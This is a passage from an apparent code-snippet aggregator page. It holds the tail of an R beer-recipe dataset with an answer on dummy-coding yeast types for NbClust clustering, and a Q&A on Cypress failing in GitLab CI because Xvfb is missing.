Is Dead", "Electric India", "Ella - IPA Is Dead", "Elvis Juice V2.0 - Prototype Challenge", "Everday Anarchy", "Fake Lager", "Galaxy", "Goldings - IPA Is Dead", "Growler", "Hardcore IPA", "Hardkogt IPA", "HBC 366 - IPA Is Dead", "HBC 369", "Hello My Name Is Beastie", "Hello My Name Is Holy Moose", "Hello My Name Is Ingrid", "Hello My Name Is Little Ingrid", "Hello My Name Is Mette-Marit", "Hello My Name Is PaÌ\210ivi", "Hello My Name is Sonja (w/ Evil Twin)", "Hello My Name is Vladimir", "Hello My Name Is ZeÌ\201 (w/ 2Cabeças)", "Hinterland", "Hobo Pop", "Hop Fiction - Prototype Challenge", "Hopped-Up Brown Ale - Prototype Challenge", "Hoppy Christmas", "Hops Kill Nazis", "Hunter Foundation Pale Ale", "Hype", "India Session Lager - Prototype Challenge", "International Arms Race (w/ Flying Dog)", "Interstellar", "Jack Hammer", "Jasmine IPA", "Jet Black Heart", "Kohatu - IPA Is Dead", "Konnichiwa Kitsune", "Libertine Black Ale", "Libertine Porter", "Lichtenstein Pale Ale", "Lizard Bride - Prototype Challenge", "Lost Dog (w/Lost Abbey)", "Lumberjack Stout", "Magic Stone Dog (w/Magic Rock & Stone Brewing Co.)", "Mandarina Bavaria - IPA Is Dead", "Mango Gose - B-Sides", "Melon And Cucumber IPA - B-Sides", "Misspent Youth", "Morag's Mojito - B-Sides", "Moshi Moshi 15", "Motueka", "Movember", "Mr.Miyagi's Wasabi Stout", "Nanny State", "Nelson Sauvin", "Neon Overlord", "Never Mind The Anabolics", "No Label", "Nuns With Guns", "Old World India Pale Ale", "Old World Russian Imperial Stout", "Orange Blossom - B-Sides", "Pale - Russian Doll", "Paradox Islay", "Paradox Islay 2.0", "Paradox Jura", "Peroxide Punk", "Pilsen Lager", "Pioneer - IPA Is Dead", "Prototype 27", "Prototype Helles", "Prototype Pils 2.0", "Pumpkin King", "Punk IPA 2007 - 2010", "Punk IPA 2010 - Current", "Restorative Beverage For Invalids And Convalescents", "Rhubarb Saison - B-Sides", "Riptide", "Russian Doll â\200“ India Pale Ale", "Rye Hammer", "San Diego Scotch Ale (w/Ballast Point)", "Santa Paws", "Shareholder Black IPA 2011", "Ship Wreck", "Shipwrecker Circus (w/ Oskar Blues)", "Simcoe", "Sink The Bismarck!", "Skull Candy", "Sorachi Ace", "Sorachi Bitter - B-Sides", "Spiced Cherry Sour - B-Sides", "Stereo Wolf Stout - Prototype Challenge", "Storm", "Sub Hop", "Sunk Punk", "Sunmaid Stout", "Sunshine On Rye - B-Sides", "The Physics", "This. Is. Lager", "TM10", "Trashy Blonde", "Truffle and Chocolate Stout - B-Sides", "U-Boat (w/ Victory Brewing)", "Vagabond Pale ALe - Prototype Challenge", "Vagabond Pilsner", "Vic Secret", "Waimea - IPA Is Dead", "Whisky Sour - B-Sides", "Zephyr"), class = "factor"), ABV = c(4.5, 4.1, 4.2, 6.3, 7.2, NA, 4.7, 7.5, 7.3, 5.3, 4.5, 4.5, 6.1, 11.2, 6, 8.2, 12.5, 8, 4.7, 3.5, 15, 6.7, 7.8, 6.7, 0.5, 7.5, 5.8, 3.6, 10.5, 12.5, 7.2, 8.2, 10.7, 9.2, 7.1, 5, 16.5, 12.8, 6.7, 10, NA, 10, 4.5, 7.4, 7.2, 9.5, 9.2, 9, 7.2, 7.5, NA, 10.43, 7.1, 8, 5, 5.4, 4.1, 10.2, 4, 7, 12.7, 6.5, 7.5, 4.2, 11.8, 7.6, 15, 4.4, 6.3, 7.2, NA, 4.5, 4.5, 7.5, 10, 3.8, 6.4, NA, 4, 15.2, 5.4, 8.3, 6.5, 8, 12, 8.2, 5.6, 7.2, 6.3, 10, 5.6, 4.5, 8.2, 8.4, 6, 6.7, 6.5, 11.5, 8.5, 5.2, 7.1, 4.7, 6.7, 9, 6.5, 6.7, 5, 5.8, 7.5, 4.5, 9, 41, 15, 8.5, 7.2, 9, 3.8, 5.7, 6.3, 7.5, 4.4, 18, 10.5, 11.3, NA, 5.2, 4.5, 9.5, 7.2, 2.7, 6.4, 17.2, 8.5, 4.9, 4.7, 7.2, 10, 4.5, 7.2, 7.2, 6.7, 7.2, 4.4, 9, 7.5, 16.1, 6.7, 2.5, 7.4, 2.8, 4.2, 5.8, 5.2, 10, 12.8, 8.3, 6.5, 6, 3, 7.6, 5.5, 8.8, 5.2, 5.2, 8, 6.7, 15, 11.5, 7.1, NA, 7.5, 7.2, 5.2, 6.8, 5.5, 5.2, 6.7, 5, 9, 9.2, 13.8, 4.5, 3.2, 16.1, 4.7, 14.2, 13, 7.2, 9.2, 4.9, 7.2, 7.2, 4.5, 4.5, 4.5, 7.6), IBU = c(60, 41.5, 8, 55, 59, 38, 40, 75, 30, 60, 50, 42, 45, 150, 70, 70, 100, 60, 45, 33, 90, 67, 70, 70, 55, 75, 35, 8, 85, 125, 70, 70, 100, 125, 65, 47, 20.5, 50, 70, 35, 20, 55, 35, 65, 70, 85, 149, 65, 100, 30, 30, 65, 68, 35, 50, 35, 65, 50, 35, 20, 85, 35, 50, 50, 80, 70, 80, 35, 85, 70, 9, 35, 30, 70, 85, 35, 40, 45, 40, 20, 20, 70, 60, 45, 85, 42, 40, 70, 55, 85, 30, 55, 42, 50, 50, 40, 35, 80, 65, 45, 90, 45, 67, 85, 20, 67, 30, 40, 90, 38, 50, 1085, 90, 85, 100, 80, 20, 35, 130, 75, 35, 70, 14, 50, 25, 65, 25, 80, 70, 36, 50, 75, 100, 30, 37, 100, 80, 55, 50, 250, 67, 100, 70, 70, 80, 85, 70, 35, 70, 30, 25, 40, 50, 55, 70, 70, 55, 60, 8, 175, 35, 40, 45, 55, 85, 70, 90, 50, 80, 45, 0, 130, 55, 30, 60, 40, 70, 50, 85, 65, 60, 40, 8, 100, 25, 20, 100, 250, 50, 18, 250, 250, 40, 40, 40, 70), OG = c(1044, 1041.7, 1040, 1060, 1069, 1045, 1046, 1068, 1079, 1052, 1047, 1046, 1067, 1098, 1058, 1076, 1093, 1082, 1047, 1038, 1120, 1013, 1074, 1066, 1007, 1068, 1049, 1040, 1102, 1087, 1067, 1076, 1105, 1085, 1065, 1048.5, 1112, 1096, 1066, 1080, 1048, 1090, 1048, 1069, 1067, 1095, 1083, 1080, 1064, 1080, 1043, 1095, 1056, 1077, 1049, 1050, 1042, 1026, 1041, 1081, 1113.5, 1050, 1070, 1042, 1096, 1073, 1113, 1040, 1063, 1067, 1032, 1048, 1045, 1068, 1098, 1040, 1057, 1081, 1039, 1110, 1055, 1076, 1060, 1075, 1130, 1078, 1055, 1067, 1060, 1098, 1058, 1046, 1078, 1080, 1050, 1063, 1068, 1096, 1078, 1049, 1067, 1055, 1013, 1094, 1060, 1013, 1050, 1053, 1072, 1042.9, 1084, 1085, 1120, 1072, 1064, 1083, 1039, 1053, 1060, 1068, 1045, 1150, 1093, 1098, 1052, 1048, 1043, 1075, 1067, 1033, 1061, 1156, 1068, 1047, 1043, 1064, 1097, 1045, 1068, 1065, 1064, 1064, 1045, 1090, 1069, 1125, 1063, 1027, 1069, 1032.5, 1044, 1060, 1050, 1128, 1108, 1076, 1059, 1056, 1007, 1072, 1053, 1084, 1048, 1053, 1074, 1066, 1120, 1104, 1067, 1089, 1069, 1065, 1052, 1068, 1062, 1048, 1066, 1053, 1094, 1069, 1088, 1045, 1007, 1015, 1008, 1025, 1015, 1065, 1016, 1010, 1065, 1065, 1045, 1045, 1045, 1067), EBC = c(20, 15, 8, 30, 10, 15, 12, 22, 120, 200, 140, 62, 219, 70, 25, NA, 36, 12, 8, 50, 100, 19, 90, 30, 30, 30, 44, NA, 64, 40, 30, 16, 300, 40, 13, 65, 20, 111, 30, 80, 14, 300, 40, 60, 30, 250, 19.5, 97, 12, 46, 15, 23, 14, 15, 110, 11.5, 17, 197, 45, 12, 250, 23, 40, 30, 115, 59, 400, 12, 24, 30, 2, 44, 25, 30, 130, 25, 10, 15, 18, 158, 30, 30, 25, 240, 24, 90, 15, 30, 30, 30, 54, 25, 70, 200, 8, 15, 250, 115, 31.2, 45, 15, 200, 19, 400, NA, 19, 60, 177.3, 200, 18, 20, 40, 100, 15, 12, 180, 6, 25, 14, 30, 30, 57, NA, 164, 10, 16, 10, 195, 30, 57, 20, 128, 15, 12, 10, 12, 65, 20, 150, 15, 19, 12, 30, 190, 50, 400, 30, 10, 30, 42, 19, 35, 17, 300, 79, 30, 50, 17, 9, 40, 25, 190, 35, 165, 35, 30, 100, 38, 71, 15, 50, 14, 200, 86, 230, 13, 30, 200, 400, 60, 25, 18, 8, 500, 25, 67, 300, 15, 78.8, 13, 17, 104, 18, 18, 18, 20), PH = c(4.4, 4.4, 3.2, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.2, 5.2, 4.4, 4.4, 4.4, 5.2, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 3.2, 4.4, 4.4, 4.4, 4.4, 4.3, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.2, 4.4, 4.4, 4.2, 4.4, 4.4, 4.4, 4.4, 4.4, 4.5, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 5.2, 3.2, 5.2, 4.4, 4.4, 4.4, 5.2, 4.4, 4, 4.4, 4.2, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 3.5, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 5.2, 5.2, 4.2, 4.4, 4.4, 4.2, 4.4, 4.4, 4.4, 4.3, 3.2, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 5.2, 5.2, 4.4, 5.2, 4.4, 4.4, 4.4, 4.4, 4.4, 5.2, 5.2, 4.2, 4.5, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.2, 4.4, 4.4, 4.2, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.3, 4.4, 4.2, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 3.2, 4.4, 4.4, 4.5, 4.4, 5.2, 5.2, 4.4, 4.4, 4.4, 4.4, 4.4, 4.4, 5.2, 5.2, 4.4, 4.4, 4.4, 4.4, 4.4, 4.3, 4.2, 4.4, 4.2, 3.2, 4.4, 4.2, 4, 4.4, 4.4, 4.2, 4.2, 4.4, 4.4, 4.2, 4.2, 4.2, 4.4), AttenuationLevel = c(75, 76, 83, 80, 67, 88.9, 78, 80.9, 74.7, 77, 74.5, 72.8, 70.1, 87, 79.3, 83, 68, 86, 79, 68.4, 98, 79.7, 79.7, 77.3, 28.6, 82.1, 90, 83, 102, 81.2, 82.1, 83, 76.2, 81.2, 85, 79.4, 100, 79.17, 77.3, 85, 89.6, 84.4, 72.9, 82.6, 82.1, 76.8, 83, 76, 84, 70, 81.4, 83.2, 82.1, 79.2, 79, 84, 76.2, 74.5, 75.6, 74, 76.8, 76, 81.4, 76.2, 79.2, 79.5, 84.1, 79.5, 82.6, 82.1, 88, 72.9, 75.6, 82.1, 79.6, 70, 87, 93.8, 76.9, 82, 74.6, 82.9, 83.3, 81.3, 102.3, 83.3, 78, 82.1, 80, 70, 74, 73.9, 83.3, 81.3, 87, 84, 70.6, 79.2, 84.6, 81.6, 80.6, 70, 79.7, 73.4, 87, 79.7, 76, 84.9, 79.2, 81, 82.1, 81.2, 98, 90.3, 84, 83.1, 87, 79.3, 83, 82.1, 73.3, 93.3, 80, 79.6, 87, 79, 79.1, 81.3, 82.1, 70.8, 80.3, 80.8, 95.6, 80.7, 83.7, 84, 79.4, 73.9, 78.6, 84.6, 79.7, 84, 82.9, 80, 82.6, 84, 81, 70.4, 82.6, 63.1, 72.7, 76.7, 80, 89, 81.5, 82.9, 81.4, 82.14, 82.5, 80.6, 79.3, 79.8, 77.1, 75.5, 82.4, 77.3, 98, 85, 79, 94.4, 81.1, 87, 73.1, 76.5, 67.7, 79.2, 77.3, 73.6, 73.4, 82.6, 83, 75.6, 78, 84, 75.6, 75.6, 84.4, 84.6, 81, 78.7, 84.6, 84.6, 75.6, 75.6, 75.6, 82), FermentationTempCelsius = c(19L, 18L, 21L, 9L, 10L, 22L, 10L, 19L, 19L, 19L, 19L, 22L, 18L, 17L, 19L, 19L, 19L, 19L, 19L, 19L, 19L, 19L, 18L, 19L, 19L, 19L, 19L, 21L, 21L, 21L, 19L, 21L, 21L, 21L, 9L, 19L, 20L, 21L, 19L, 19L, 22L, 21L, 19L, 18L, 19L, 18L, 19L, 19L, 19L, 12L, 23L, 21L, 10L, 9L, 19L, 19L, 19L, 21L, 19L, 19L, 18L, 18L, 21L, 19L, 20L, 20L, 21L, 10L, 19L, 19L, 21L, 19L, 19L, 19L, 21L, 19L, 20L, 23L, 19L, 21L, 19L, 21L, 19L, 20L, 21L, 21L, 19L, 19L, 19L, 21L, 19L, 9L, 22L, 14L, 20L, 19L, 19L, 20L, 18L, 14L, 19L, 19L, 19L, 21L, 20L, 19L, 19L, 19L, 21L, 10L, 21L, 21L, 19L, 18L, 19L, 21L, 20L, 17L, 20L, 19L, 19L, 22L, 19L, 20L, 20L, 19L, 15L, 19L, 19L, 19L, 19L, 21L, 21L, 10L, 12L, 19L, 21L, 19L, 19L, 21L, 19L, 19L, 20L, 21L, 22L, 21L, 99L, 19L, 19L, 22L, 16L, 19L, 19L, 21L, 18L, 21L, 19L, 19L, 19L, 21L, 17L, 21L, 19L, 19L, 19L, 19L, 19L, 21L, 19L, 23L, 19L, 20L, 19L, 19L, 19L, 19L, 19L, 19L, 21L, 18L, 21L, 19L, 21L, 21L, 12L, 21L, 21L, 21L, 21L, 12L, 21L, 21L, 19L, 19L, 19L, 21L), Yeast = structure(c(1L, 1L, 1L, 3L, 3L, 4L, 3L, 1L, 1L, 1L, 1L, 1L, 1L, 2L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 2L, 1L, 1L, 1L, 1L, 1L, 2L, 2L, 1L, 1L, 2L, 2L, 3L, 1L, 2L, 2L, 1L, 2L, 4L, 2L, 1L, 1L, 1L, 2L, 2L, 1L, 1L, 3L, 4L, 2L, 3L, 3L, 1L, 1L, 2L, 2L, 1L, 2L, 2L, 1L, 2L, 1L, 2L, 2L, 2L, 3L, 1L, 1L, 4L, 1L, 1L, 1L, 2L, 1L, 1L, 4L, 1L, 2L, 2L, 2L, 1L, 2L, 2L, 2L, 1L, 1L, 2L, 2L, 1L, 3L, 2L, 3L, 1L, 1L, 1L, 2L, 2L, 1L, 1L, 1L, 1L, 2L, 1L, 1L, 1L, 1L, 2L, 3L, 2L, 2L, 2L, 2L, 1L, 2L, 1L, 1L, 1L, 1L, 1L, 2L, 1L, 2L, 4L, 1L, 1L, 2L, 1L, 1L, 1L, 2L, 2L, 3L, 3L, 1L, 2L, 1L, 2L, 2L, 1L, 1L, 2L, 2L, 2L, 2L, 1L, 1L, 1L, 1L, 3L, 1L, 1L, 2L, 2L, 2L, 1L, 1L, 1L, 2L, 1L, 2L, 1L, 1L, 1L, 1L, 1L, 2L, 1L, 4L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 2L, 1L, 2L, 1L, 1L, 2L, 3L, 2L, 2L, 2L, 2L, 3L, 2L, 2L, 1L, 1L, 1L, 2L), .Label = c("Wyeast 1056 - American Ale", "Wyeast 1272 - American Ale II", "Wyeast 2007 - Pilsen Lager", "Wyeast 3711 - French Saison"), class = "factor")), class = "data.frame", row.names = c(NA, -196L))
df
ANSWER
Answered 2021-Dec-17 at 17:31To solve your specific issue, you can generate dummy variables to run your desired clustering.
One way to do it is using the dummy_columns()
function from the fastDummies
package.
library(fastDummies)
df_dummy <- dummy_columns(df, select_columns = "Yeast", remove_selected_columns = TRUE)
res <- NbClust(df_dummy[2:9], min.nc = 2, max.nc = 15, method = "ward.D2")
As noted in the comments, the better practices for conduncting clustering analysis are more questions for CrossValidated.
QUESTION
After writing several tests in Cypress and trying them out locally in both headless and headed way (both work great) I can't get our GitLab to start up Cypress in headless way after inserting the test in the integration process. This seems to be an issue: [FAILED] Your system is missing the dependency: Xvfb
Why would I need Xvfb for running headless test in Cypress? I'm stuck on this for two days now, any help or idea would be greatly appreciated.
test config in .gitlab-ci.yml:
test:
image: node:latest
stage: test
script:
- npm ci
- npm start &
- npm test
relevant lines from package.json:
"start": "ng serve --proxy-config proxy.conf.json --port 4222 -o"
"test": "cypress run --spec cypress/integration/test_zber/test.spec.js"
gitlab output when trying to run the test after successfully going through npm ci
$ npm start &
$ npm test
> sdcl@0.1.30 start
> ng serve --proxy-config proxy.conf.json --port 4222 -o
> sdcl@0.1.30 test
> cypress run --spec cypress/integration/test_zber/test.spec.js
It looks like this is your first time using Cypress: 8.6.0
[STARTED] Task without title.
[FAILED] Your system is missing the dependency: Xvfb
[FAILED]
[FAILED] Install Xvfb and run Cypress again.
[FAILED]
[FAILED] Read our documentation on dependencies for more information:
[FAILED]
[FAILED] https://on.cypress.io/required-dependencies
[FAILED]
[FAILED] If you are using Docker, we provide containers with all required dependencies installed.
[FAILED]
[FAILED] ----------
[FAILED]
[FAILED] Error: spawn Xvfb ENOENT
[FAILED]
[FAILED] ----------
[FAILED]
[FAILED] Platform: linux (Debian - 10.11)
[FAILED] Cypress Version: 8.6.0
Your system is missing the dependency: Xvfb
Install Xvfb and run Cypress again.
Read our documentation on dependencies for more information:
https://on.cypress.io/required-dependencies
If you are using Docker, we provide containers with all required dependencies installed.
----------
Error: spawn Xvfb ENOENT
----------
Platform: linux (Debian - 10.11)
Cypress Version: 8.6.0
Warning: Entry point 'ng2-ace-editor' contains deep imports into '/builds/D7tLJUkz/0/uvz/evz/sdc/sdcl-fe/node_modules/brace/theme/monokai'. This is probably not a problem, but may cause the compilation of entry points to be out of order.
console output when running this locally:
PS C:\projectlocation> npm test
> sdcl@0.1.30 test C:\projectlocation
> cypress run --spec cypress/integration/test_zber/test.spec.js
[10644:1014/090627.480:ERROR:display_layout.cc(559)] PlacementList must be sorted by first 8 bits of display_id
====================================================================================================
(Run Starting)
┌────────────────────────────────────────────────────────────────────────────────────────────────┐
│ Cypress: 8.6.0 │
│ Browser: Electron 93 (headless) │
│ Specs: 1 found (test_zber/test.spec.js) │
│ Searched: cypress\integration\test_zber\test.spec.js │
└────────────────────────────────────────────────────────────────────────────────────────────────┘
────────────────────────────────────────────────────────────────────────────────────────────────────
Running: test_zber/test.spec.js (1 of 1)
simple_statement_test
√ test1 (3090ms)
√ test2 (4969ms)
√ test3 (882ms)
√ test4 (2489ms)
√ test5 (503ms)
5 passing (14s)
(Results)
┌────────────────────────────────────────────────────────────────────────────────────────────────┐
│ Tests: 5 │
│ Passing: 5 │
│ Failing: 0 │
│ Pending: 0 │
│ Skipped: 0 │
│ Screenshots: 0 │
│ Video: true │
│ Duration: 13 seconds │
│ Spec Ran: test_zber/test.spec.js │
└────────────────────────────────────────────────────────────────────────────────────────────────┘
(Video)
- Started processing: Compressing to 32 CRF
- Finished processing: C:\projectlocation\cypress\videos\test_zber\test. (1 second)
spec.js.mp4
====================================================================================================
(Run Finished)
Spec Tests Passing Failing Pending Skipped
┌────────────────────────────────────────────────────────────────────────────────────────────────┐
│ √ test_zber/test.spec.js 00:13 5 5 - - - │
└────────────────────────────────────────────────────────────────────────────────────────────────┘
√ All specs passed! 00:13 5 5 - - -
ANSWER
Answered 2021-Oct-14 at 08:16Have you tried passing the --headless
option to cypress run
command? I don't see it in the question, but it does seem as a solution based on some other questions asked here on SO, e.g. this one. You can find this option in documentation here.
Another solution could be to use an official Cypress Docker image or installing the Xvfb
package before running Cypress.
Community Discussions, Code Snippets contain sources that include Stack Exchange Network
Vulnerabilities
No vulnerabilities reported
Install ACE
Support
Find, review, and download reusable Libraries, Code Snippets, Cloud APIs from over 650 million Knowledge Items
Find more librariesExplore Kits - Develop, implement, customize Projects, Custom Functions and Applications with kandi kits
Save this library and start creating your kit
Share this Page